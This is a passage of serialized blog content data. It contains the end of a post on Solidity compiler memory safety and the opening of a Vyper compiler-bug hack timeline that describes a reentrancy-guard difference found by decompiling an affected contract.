",{"type":23,"tag":71,"props":40679,"children":40681},{"className":40680},[],[40682],{"type":29,"value":25190},{"type":29,"value":557},{"type":23,"tag":32,"props":40685,"children":40686},{},[40687,40689,40694,40696,40702],{"type":29,"value":40688},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":71,"props":40690,"children":40692},{"className":40691},[],[40693],{"type":29,"value":40567},{"type":29,"value":40695}," return ",{"type":23,"tag":71,"props":40697,"children":40699},{"className":40698},[],[40700],{"type":29,"value":40701},"size + 32",{"type":29,"value":40703},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":32,"props":40705,"children":40706},{},[40707,40709,40716,40718,40723,40725,40730],{"type":29,"value":40708},"An example of this optimization in practice ",{"type":23,"tag":940,"props":40710,"children":40713},{"href":40711,"rel":40712},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[944],[40714],{"type":29,"value":40715},"is the StackLimitEvader",{"type":29,"value":40717},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":9690,"props":40719,"children":40720},{},[40721],{"type":29,"value":40722},"only",{"type":29,"value":40724}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":71,"props":40726,"children":40728},{"className":40727},[],[40729],{"type":29,"value":40567},{"type":29,"value":557},{"type":23,"tag":32,"props":40732,"children":40733},{},[40734],{"type":29,"value":40735},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":32,"props":40737,"children":40738},{},[40739,40741,40747],{"type":29,"value":40740},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":71,"props":40742,"children":40744},{"className":40743},[],[40745],{"type":29,"value":40746},"memoryguard(0x60)",{"type":29,"value":40748}," instead. The rest of the pipeline will still work.",{"type":23,"tag":24,"props":40750,"children":40751},{"id":40260},[40752],{"type":29,"value":40753},"Memory Safety",{"type":23,"tag":32,"props":40755,"children":40756},{},[40757],{"type":29,"value":40758},"So what does memory safety mean?",{"type":23,"tag":32,"props":40760,"children":40761},{},[40762,40764,40770],{"type":29,"value":40763},"The Solidity documentation provides ",{"type":23,"tag":940,"props":40765,"children":40767},{"href":40235,"rel":40766},[944],[40768],{"type":29,"value":40769},"a set of constraints",{"type":29,"value":40771},", not a definition.",{"type":23,"tag":1829,"props":40773,"children":40774},{},[40775,40780],{"type":23,"tag":32,"props":40776,"children":40777},{},[40778],{"type":29,"value":40779},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":2797,"props":40781,"children":40782},{},[40783,40788,40793,40798],{"type":23,"tag":2801,"props":40784,"children":40785},{},[40786],{"type":29,"value":40787},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":2801,"props":40789,"children":40790},{},[40791],{"type":29,"value":40792},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":2801,"props":40794,"children":40795},{},[40796],{"type":29,"value":40797},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":2801,"props":40799,"children":40800},{},[40801],{"type":29,"value":40802},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":32,"props":40804,"children":40805},{},[40806,40808,40815,40825],{"type":29,"value":40807},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":940,"props":40809,"children":40812},{"href":40810,"rel":40811},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[944],[40813],{"type":29,"value":40814},"removes the memory guard",{"type":23,"tag":26701,"props":40816,"children":40817},{},[40818],{"type":23,"tag":940,"props":40819,"children":40823},{"href":40820,"ariaDescribedBy":40821,"dataFootnoteRef":7,"id":40822},"#user-content-fn-1",[26708],"user-content-fnref-1",[40824],{"type":29,"value":7867},{"type":29,"value":557},{"type":23,"tag":64,"props":40827,"children":40829},{"className":40306,"code":40828,"language":40308,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[40830],{"type":23,"tag":71,"props":40831,"children":40832},{"__ignoreMap":7},[40833,40841,40849,40856,40891,40898,40906,40914,40922,40930,40938,40951,40964,40972],{"type":23,"tag":75,"props":40834,"children":40835},{"class":77,"line":78},[40836],{"type":23,"tag":75,"props":40837,"children":40838},{"style":3621},[40839],{"type":29,"value":40840},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":75,"props":40842,"children":40843},{"class":77,"line":100},[40844],{"type":23,"tag":75,"props":40845,"children":40846},{"style":3621},[40847],{"type":29,"value":40848},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":75,"props":40850,"children":40851},{"class":77,"line":121},[40852],{"type":23,"tag":75,"props":40853,"children":40854},{"emptyLinePlaceholder":15},[40855],{"type":29,"value":276},{"type":23,"tag":75,"props":40857,"children":40858},{"class":77,"line":138},[40859,40863,40868,40873,40877,40882,40887],{"type":23,"tag":75,"props":40860,"children":40861},{"style":104},[40862],{"type":29,"value":1605},{"type":23,"tag":75,"props":40864,"children":40865},{"style":94},[40866],{"type":29,"value":40867}," IRGenerator::",{"type":23,"tag":75,"props":40869,"children":40870},{"style":88},[40871],{"type":29,"value":40872},"memoryInit",{"type":23,"tag":75,"props":40874,"children":40875},{"style":94},[40876],{"type":29,"value":643},{"type":23,"tag":75,"props":40878,"children":40879},{"style":82},[40880],{"type":29,"value":40881},"bool",{"type":23,"tag":75,"props":40883,"children":40884},{"style":110},[40885],{"type":29,"value":40886}," _useMemoryGuard",{"type":23,"tag":75,"props":40888,"children":40889},{"style":94},[40890],{"type":29,"value":653},{"type":23,"tag":75,"props":40892,"children":40893},{"class":77,"line":161},[40894],{"type":23,"tag":75,"props":40895,"children":40896},{"style":94},[40897],{"type":29,"value":2549},{"type":23,"tag":75,"props":40899,"children":40900},{"class":77,"line":196},[40901],{"type":23,"tag":75,"props":40902,"children":40903},{"style":3621},[40904],{"type":29,"value":40905}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":75,"props":40907,"children":40908},{"class":77,"line":220},[40909],{"type":23,"tag":75,"props":40910,"children":40911},{"style":3621},[40912],{"type":29,"value":40913}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":75,"props":40915,"children":40916},{"class":77,"line":248},[40917],{"type":23,"tag":75,"props":40918,"children":40919},{"style":3621},[40920],{"type":29,"value":40921}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":75,"props":40923,"children":40924},{"class":77,"line":270},[40925],{"type":23,"tag":75,"props":40926,"children":40927},{"style":175},[40928],{"type":29,"value":40929}," return\n",{"type":23,"tag":75,"props":40931,"children":40932},{"class":77,"line":279},[40933],{"type":23,"tag":75,"props":40934,"children":40935},{"style":94},[40936],{"type":29,"value":40937},"  Whiskers{\n",{"type":23,"tag":75,"props":40939,"children":40940},{"class":77,"line":303},[40941,40946],{"type":23,"tag":75,"props":40942,"children":40943},{"style":94},[40944],{"type":29,"value":40945},"   _useMemoryGuard ",{"type":23,"tag":75,"props":40947,"children":40948},{"style":209},[40949],{"type":29,"value":40950},"?\n",{"type":23,"tag":75,"props":40952,"children":40953},{"class":77,"line":322},[40954,40959],{"type":23,"tag":75,"props":40955,"children":40956},{"style":1266},[40957],{"type":29,"value":40958},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":75,"props":40960,"children":40961},{"style":209},[40962],{"type":29,"value":40963}," :\n",{"type":23,"tag":75,"props":40965,"children":40966},{"class":77,"line":340},[40967],{"type":23,"tag":75,"props":40968,"children":40969},{"style":1266},[40970],{"type":29,"value":40971},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":75,"props":40973,"children":40974},{"class":77,"line":349},[40975],{"type":23,"tag":75,"props":40976,"children":40977},{"style":94},[40978],{"type":29,"value":17141},{"type":23,"tag":32,"props":40980,"children":40981},{},[40982,40987,40989,40995],{"type":23,"tag":71,"props":40983,"children":40985},{"className":40984},[],[40986],{"type":29,"value":40575},{"type":29,"value":40988}," will now no longer have ",{"type":23,"tag":71,"props":40990,"children":40992},{"className":40991},[],[40993],{"type":29,"value":40994},"memoryguard(0x80)",{"type":29,"value":40996}," as expected.",{"type":23,"tag":64,"props":40998,"children":41000},{"className":68,"code":40999,"language":67,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[41001],{"type":23,"tag":71,"props":41002,"children":41003},{"__ignoreMap":7},[41004,41019],{"type":23,"tag":75,"props":41005,"children":41006},{"class":77,"line":78},[41007,41011,41015],{"type":23,"tag":75,"props":41008,"children":41009},{"style":3621},[41010],{"type":29,"value":40592},{"type":23,"tag":75,"props":41012,"children":41013},{"style":82},[41014],{"type":29,"value":40597},{"type":23,"tag":75,"props":41016,"children":41017},{"style":3621},[41018],{"type":29,"value":40602},{"type":23,"tag":75,"props":41020,"children":41021},{"class":77,"line":100},[41022,41027,41031,41035,41039,41044],{"type":23,"tag":75,"props":41023,"children":41024},{"style":88},[41025],{"type":29,"value":41026},"    mstore",{"type":23,"tag":75,"props":41028,"children":41029},{"style":94},[41030],{"type":29,"value":643},{"type":23,"tag":75,"props":41032,"children":41033},{"style":237},[41034],{"type":29,"value":40619},{"type":23,"tag":75,"props":41036,"children":41037},{"style":94},[41038],{"type":29,"value":611},{"type":23,"tag":75,"props":41040,"children":41041},{"style":237},[41042],{"type":29,"value":41043},"128",{"type":23,"tag":75,"props":41045,"children":41046},{"style":94},[41047],{"type":29,"value":653},{"type":23,"tag":32,"props":41049,"children":41050},{},[41051,41053,41058,41060,41065],{"type":29,"value":41052},"Semantically, the absence of ",{"type":23,"tag":71,"props":41054,"children":41056},{"className":41055},[],[41057],{"type":29,"value":40567},{"type":29,"value":41059}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":71,"props":41061,"children":41063},{"className":41062},[],[41064],{"type":29,"value":40567},{"type":29,"value":41066}," invariant.",{"type":23,"tag":1829,"props":41068,"children":41069},{},[41070],{"type":23,"tag":32,"props":41071,"children":41072},{},[41073,41074,41079,41080,41085,41086,41091],{"type":29,"value":40661},{"type":23,"tag":71,"props":41075,"children":41077},{"className":41076},[],[41078],{"type":29,"value":40667},{"type":29,"value":40669},{"type":23,"tag":71,"props":41081,"children":41083},{"className":41082},[],[41084],{"type":29,"value":40675},{"type":29,"value":40677},{"type":23,"tag":71,"props":41087,"children":41089},{"className":41088},[],[41090],{"type":29,"value":25190},{"type":29,"value":557},{"type":23,"tag":32,"props":41093,"children":41094},{},[41095],{"type":29,"value":41096},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":24,"props":41098,"children":41100},{"id":41099},"undefined-behavior",[41101],{"type":29,"value":41102},"Undefined Behavior",{"type":23,"tag":32,"props":41104,"children":41105},{},[41106,41108,41113,41115,41120,41122,41128],{"type":29,"value":41107},"How strict is memory safety? When it comes to ",{"type":23,"tag":71,"props":41109,"children":41111},{"className":41110},[],[41112],{"type":29,"value":40567},{"type":29,"value":41114},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":71,"props":41116,"children":41118},{"className":41117},[],[41119],{"type":29,"value":40225},{"type":29,"value":41121}," annotated assembly that touches memory at ",{"type":23,"tag":71,"props":41123,"children":41125},{"className":41124},[],[41126],{"type":29,"value":41127},"[0x40, 0x7f]",{"type":29,"value":41129}," really safe?",{"type":23,"tag":32,"props":41131,"children":41132},{},[41133,41134,41141,41143,41148],{"type":29,"value":2846},{"type":23,"tag":940,"props":41135,"children":41138},{"href":41136,"rel":41137},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[944],[41139],{"type":29,"value":41140},"Solidity documentation",{"type":29,"value":41142}," mentions ",{"type":23,"tag":9690,"props":41144,"children":41145},{},[41146],{"type":29,"value":41147},"undefined behavior",{"type":29,"value":41149}," three times.",{"type":23,"tag":2797,"props":41151,"children":41152},{},[41153,41158,41173],{"type":23,"tag":2801,"props":41154,"children":41155},{},[41156],{"type":29,"value":41157},"The existence of a dangling reference",{"type":23,"tag":2801,"props":41159,"children":41160},{},[41161,41163],{"type":29,"value":41162},"Using verbatim improperly",{"type":23,"tag":26701,"props":41164,"children":41165},{},[41166],{"type":23,"tag":940,"props":41167,"children":41171},{"href":41168,"ariaDescribedBy":41169,"dataFootnoteRef":7,"id":41170},"#user-content-fn-2",[26708],"user-content-fnref-2",[41172],{"type":29,"value":14409},{"type":23,"tag":2801,"props":41174,"children":41175},{},[41176],{"type":29,"value":41177},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":32,"props":41179,"children":41180},{},[41181],{"type":29,"value":41182},"Why does this matter?",{"type":23,"tag":32,"props":41184,"children":41185},{},[41186,41188,41195,41197,41204],{"type":29,"value":41187},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":940,"props":41189,"children":41192},{"href":41190,"rel":41191},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[944],[41193],{"type":29,"value":41194},"signed integer overflow is undefined",{"type":29,"value":41196},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":940,"props":41198,"children":41201},{"href":41199,"rel":41200},"https://blog.regehr.org/archives/1307",[944],[41202],{"type":29,"value":41203},"years down the line",{"type":29,"value":557},{"type":23,"tag":32,"props":41206,"children":41207},{},[41208,41210,41217,41218,41223],{"type":29,"value":41209},"Going back to Solidity, the specification makes ",{"type":23,"tag":940,"props":41211,"children":41214},{"href":41212,"rel":41213},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[944],[41215],{"type":29,"value":41216},"it unambiguously clear",{"type":29,"value":29754},{"type":23,"tag":9690,"props":41219,"children":41220},{},[41221],{"type":29,"value":41222},"Thou shalt not modify the zero slot",{"type":29,"value":557},{"type":23,"tag":1829,"props":41225,"children":41226},{},[41227],{"type":23,"tag":32,"props":41228,"children":41229},{},[41230],{"type":29,"value":41231},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":32,"props":41233,"children":41234},{},[41235,41237,41242],{"type":29,"value":41236},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":9690,"props":41238,"children":41239},{},[41240],{"type":29,"value":41241},"in Solidity",{"type":29,"value":557},{"type":23,"tag":32,"props":41244,"children":41245},{},[41246],{"type":29,"value":41247},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":2797,"props":41249,"children":41250},{},[41251],{"type":23,"tag":2801,"props":41252,"children":41253},{},[41254,41256,41263],{"type":29,"value":41255},"It very clearly ",{"type":23,"tag":940,"props":41257,"children":41260},{"href":41258,"rel":41259},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[944],[41261],{"type":29,"value":41262},"holds true today",{"type":29,"value":557},{"type":23,"tag":64,"props":41265,"children":41267},{"className":40306,"code":41266,"language":40308,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[41268],{"type":23,"tag":71,"props":41269,"children":41270},{"__ignoreMap":7},[41271,41311,41318,41331,41402,41423,41474,41481],{"type":23,"tag":75,"props":41272,"children":41273},{"class":77,"line":78},[41274,41278,41283,41288,41292,41297,41302,41307],{"type":23,"tag":75,"props":41275,"children":41276},{"style":82},[41277],{"type":29,"value":40881},{"type":23,"tag":75,"props":41279,"children":41280},{"style":94},[41281],{"type":29,"value":41282}," IRGeneratorForStatements::",{"type":23,"tag":75,"props":41284,"children":41285},{"style":88},[41286],{"type":29,"value":41287},"visit",{"type":23,"tag":75,"props":41289,"children":41290},{"style":94},[41291],{"type":29,"value":643},{"type":23,"tag":75,"props":41293,"children":41294},{"style":104},[41295],{"type":29,"value":41296},"InlineAssembly",{"type":23,"tag":75,"props":41298,"children":41299},{"style":82},[41300],{"type":29,"value":41301}," const&",{"type":23,"tag":75,"props":41303,"children":41304},{"style":110},[41305],{"type":29,"value":41306}," _inlineAsm",{"type":23,"tag":75,"props":41308,"children":41309},{"style":94},[41310],{"type":29,"value":653},{"type":23,"tag":75,"props":41312,"children":41313},{"class":77,"line":100},[41314],{"type":23,"tag":75,"props":41315,"children":41316},{"style":94},[41317],{"type":29,"value":2549},{"type":23,"tag":75,"props":41319,"children":41320},{"class":77,"line":121},[41321,41326],{"type":23,"tag":75,"props":41322,"children":41323},{"style":88},[41324],{"type":29,"value":41325},"    setLocation",{"type":23,"tag":75,"props":41327,"children":41328},{"style":94},[41329],{"type":29,"value":41330},"(_inlineAsm);\n",{"type":23,"tag":75,"props":41332,"children":41333},{"class":77,"line":138},[41334,41338,41342,41346,41351,41355,41360,41364,41369,41373,41377,41381,41385,41389,41393,41398],{"type":23,"tag":75,"props":41335,"children":41336},{"style":175},[41337],{"type":29,"value":1363},{"type":23,"tag":75,"props":41339,"children":41340},{"style":94},[41341],{"type":29,"value":183},{"type":23,"tag":75,"props":41343,"children":41344},{"style":209},[41345],{"type":29,"value":601},{"type":23,"tag":75,"props":41347,"children":41348},{"style":110},[41349],{"type":29,"value":41350},"_inlineAsm",{"type":23,"tag":75,"props":41352,"children":41353},{"style":94},[41354],{"type":29,"value":557},{"type":23,"tag":75,"props":41356,"children":41357},{"style":88},[41358],{"type":29,"value":41359},"annotation",{"type":23,"tag":75,"props":41361,"children":41362},{"style":94},[41363],{"type":29,"value":8653},{"type":23,"tag":75,"props":41365,"children":41366},{"style":110},[41367],{"type":29,"value":41368},"hasMemoryEffects",{"type":23,"tag":75,"props":41370,"children":41371},{"style":209},[41372],{"type":29,"value":7889},{"type":23,"tag":75,"props":41374,"children":41375},{"style":209},[41376],{"type":29,"value":3122},{"type":23,"tag":75,"props":41378,"children":41379},{"style":110},[41380],{"type":29,"value":41350},{"type":23,"tag":75,"props":41382,"children":41383},{"style":94},[41384],{"type":29,"value":557},{"type":23,"tag":75,"props":41386,"children":41387},{"style":88},[41388],{"type":29,"value":41359},{"type":23,"tag":75,"props":41390,"children":41391},{"style":94},[41392],{"type":29,"value":8653},{"type":23,"tag":75,"props":41394,"children":41395},{"style":110},[41396],{"type":29,"value":41397},"markedMemorySafe",{"type":23,"tag":75,"props":41399,"children":41400},{"style":94},[41401],{"type":29,"value":653},{"type":23,"tag":75,"props":41403,"children":41404},{"class":77,"line":161},[41405,41410,41414,41419],{"type":23,"tag":75,"props":41406,"children":41407},{"style":110},[41408],{"type":29,"value":41409},"        m_context",{"type":23,"tag":75,"props":41411,"children":41412},{"style":94},[41413],{"type":29,"value":557},{"type":23,"tag":75,"props":41415,"children":41416},{"style":88},[41417],{"type":29,"value":41418},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":75,"props":41420,"children":41421},{"style":94},[41422],{"type":29,"value":14944},{"type":23,"tag":75,"props":41424,"children":41425},{"class":77,"line":196},[41426,41431,41435,41439,41444,41449,41453,41457,41461,41465,41470],{"type":23,"tag":75,"props":41427,"children":41428},{"style":94},[41429],{"type":29,"value":41430},"    CopyTranslate bodyCopier{",{"type":23,"tag":75,"props":41432,"children":41433},{"style":110},[41434],{"type":29,"value":41350},{"type":23,"tag":75,"props":41436,"children":41437},{"style":94},[41438],{"type":29,"value":557},{"type":23,"tag":75,"props":41440,"children":41441},{"style":88},[41442],{"type":29,"value":41443},"dialect",{"type":23,"tag":75,"props":41445,"children":41446},{"style":94},[41447],{"type":29,"value":41448},"(), m_context, ",{"type":23,"tag":75,"props":41450,"children":41451},{"style":110},[41452],{"type":29,"value":41350},{"type":23,"tag":75,"props":41454,"children":41455},{"style":94},[41456],{"type":29,"value":557},{"type":23,"tag":75,"props":41458,"children":41459},{"style":88},[41460],{"type":29,"value":41359},{"type":23,"tag":75,"props":41462,"children":41463},{"style":94},[41464],{"type":29,"value":8653},{"type":23,"tag":75,"props":41466,"children":41467},{"style":110},[41468],{"type":29,"value":41469},"externalReferences",{"type":23,"tag":75,"props":41471,"children":41472},{"style":94},[41473],{"type":29,"value":27801},{"type":23,"tag":75,"props":41475,"children":41476},{"class":77,"line":220},[41477],{"type":23,"tag":75,"props":41478,"children":41479},{"emptyLinePlaceholder":15},[41480],{"type":29,"value":276},{"type":23,"tag":75,"props":41482,"children":41483},{"class":77,"line":248},[41484,41489,41493,41498,41502,41506,41510,41515],{"type":23,"tag":75,"props":41485,"children":41486},{"style":94},[41487],{"type":29,"value":41488},"    yul::Statement modified ",{"type":23,"tag":75,"props":41490,"children":41491},{"style":209},[41492],{"type":29,"value":212},{"type":23,"tag":75,"props":41494,"children":41495},{"style":88},[41496],{"type":29,"value":41497}," bodyCopier",{"type":23,"tag":75,"props":41499,"children":41500},{"style":94},[41501],{"type":29,"value":643},{"type":23,"tag":75,"props":41503,"children":41504},{"style":110},[41505],{"type":29,"value":41350},{"type":23,"tag":75,"props":41507,"children":41508},{"style":94},[41509],{"type":29,"value":557},{"type":23,"tag":75,"props":41511,"children":41512},{"style":88},[41513],{"type":29,"value":41514},"operations",{"type":23,"tag":75,"props":41516,"children":41517},{"style":94},[41518],{"type":29,"value":41519},"());`\n",{"type":23,"tag":2797,"props":41521,"children":41522},{"start":100},[41523],{"type":23,"tag":2801,"props":41524,"children":41525},{},[41526],{"type":29,"value":41527},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":32,"props":41529,"children":41530},{},[41531],{"type":29,"value":41532},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":24,"props":41534,"children":41535},{"id":16581},[41536],{"type":29,"value":16584},{"type":23,"tag":32,"props":41538,"children":41539},{},[41540],{"type":29,"value":41541},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":32,"props":41543,"children":41544},{},[41545],{"type":29,"value":41546},"It's a promise between YUL generation and optimization.",{"type":23,"tag":29644,"props":41548,"children":41550},{"className":41549,"dataFootnotes":7},[29647],[41551,41556],{"type":23,"tag":24,"props":41552,"children":41554},{"className":41553,"id":26708},[29652],[41555],{"type":29,"value":29655},{"type":23,"tag":2797,"props":41557,"children":41558},{},[41559,41593],{"type":23,"tag":2801,"props":41560,"children":41562},{"id":41561},"user-content-fn-1",[41563,41565,41570,41572,41578,41580,41585,41587],{"type":29,"value":41564},"As an interesting aside, ",{"type":23,"tag":71,"props":41566,"children":41568},{"className":41567},[],[41569],{"type":29,"value":40567},{"type":29,"value":41571}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":71,"props":41573,"children":41575},{"className":41574},[],[41576],{"type":29,"value":41577},"memory-unsafe",{"type":29,"value":41579}," code can ",{"type":23,"tag":9690,"props":41581,"children":41582},{},[41583],{"type":29,"value":41584},"decrease",{"type":29,"value":41586}," gas consumption, especially in the YUL header. ",{"type":23,"tag":940,"props":41588,"children":41591},{"href":41589,"ariaLabel":29758,"className":41590,"dataFootnoteBackref":7},"#user-content-fnref-1",[29760],[41592],{"type":29,"value":29763},{"type":23,"tag":2801,"props":41594,"children":41596},{"id":41595},"user-content-fn-2",[41597,41599,41604,41606],{"type":29,"value":41598},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":9690,"props":41600,"children":41601},{},[41602],{"type":29,"value":41603},"guarantee",{"type":29,"value":41605}," behavior with opaque bytes. ",{"type":23,"tag":940,"props":41607,"children":41610},{"href":41608,"ariaLabel":29778,"className":41609,"dataFootnoteBackref":7},"#user-content-fnref-2",[29760],[41611],{"type":29,"value":29763},{"type":23,"tag":14130,"props":41613,"children":41614},{},[41615],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":41617},[41618,41619,41620,41621,41622,41623,41624],{"id":26,"depth":100,"text":30},{"id":40265,"depth":100,"text":40268},{"id":40529,"depth":100,"text":40532},{"id":40260,"depth":100,"text":40753},{"id":41099,"depth":100,"text":41102},{"id":16581,"depth":100,"text":16584},{"id":26708,"depth":100,"text":29655},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":41629,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":41630,"description":41631,"author":16991,"image":41632,"date":41634,"isFeatured":15,"onBlogPage":15,"tags":41635,"body":41637,"_type":14157,"_id":42388,"_source":14159,"_file":42389,"_stem":42390,"_extension":14162},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":41633,"height":14,"width":14},"/posts/vyper-timeline/header.jpg","2023-08-01",[41636,40208],"vyper",{"type":20,"children":41638,"toc":42379},[41639,41644,41649,41654,41660,41665,41683,41693,41698,41706,41716,41735,41815,41825,41985,41990,41995,42005,42012,42017,42022,42036,42041,42058,42075,42094,42104,42117,42122,42135,42140,42145,42155,42182,42192,42222,42228,42237,42243,42248,42253,42258,42264,42269,42283,42288,42293,42298,42304,42309,42322,42348,42353,42375],{"type":23,"tag":32,"props":41640,"children":41641},{},[41642],{"type":29,"value":41643},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":32,"props":41645,"children":41646},{},[41647],{"type":29,"value":41648},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":32,"props":41650,"children":41651},{},[41652],{"type":29,"value":41653},"Here's how it all happened.",{"type":23,"tag":24,"props":41655,"children":41657},{"id":41656},"timeline",[41658],{"type":29,"value":41659},"Timeline",{"type":23,"tag":32,"props":41661,"children":41662},{},[41663],{"type":29,"value":41664},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":32,"props":41666,"children":41667},{},[41668,41673,41675,41682],{"type":23,"tag":16596,"props":41669,"children":41670},{},[41671],{"type":29,"value":41672},"13:10 UTC",{"type":29,"value":41674}," pETH/ETH was ",{"type":23,"tag":940,"props":41676,"children":41679},{"href":41677,"rel":41678},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[944],[41680],{"type":29,"value":41681},"drained of $11M",{"type":29,"value":557},{"type":23,"tag":32,"props":41684,"children":41685},{},[41686,41691],{"type":23,"tag":16596,"props":41687,"children":41688},{},[41689],{"type":29,"value":41690},"13:19 UTC",{"type":29,"value":41692}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":32,"props":41694,"children":41695},{},[41696],{"type":29,"value":41697},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":1829,"props":41699,"children":41700},{},[41701],{"type":23,"tag":32,"props":41702,"children":41703},{},[41704],{"type":29,"value":41705},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":32,"props":41707,"children":41708},{},[41709,41714],{"type":23,"tag":16596,"props":41710,"children":41711},{},[41712],{"type":29,"value":41713},"14:01 UTC",{"type":29,"value":41715}," A warroom was formed around this comment.",{"type":23,"tag":32,"props":41717,"children":41718},{},[41719,41724,41726,41733],{"type":23,"tag":16596,"props":41720,"children":41721},{},[41722],{"type":29,"value":41723},"14:07 UTC",{"type":29,"value":41725}," We decompiled the JPEGd contract ",{"type":23,"tag":940,"props":41727,"children":41730},{"href":41728,"rel":41729},"https://ethervm.io/decompile",[944],[41731],{"type":29,"value":41732},"with our favorite decompiler",{"type":29,"value":41734}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":64,"props":41736,"children":41740},{"className":41737,"code":41738,"language":41739,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// 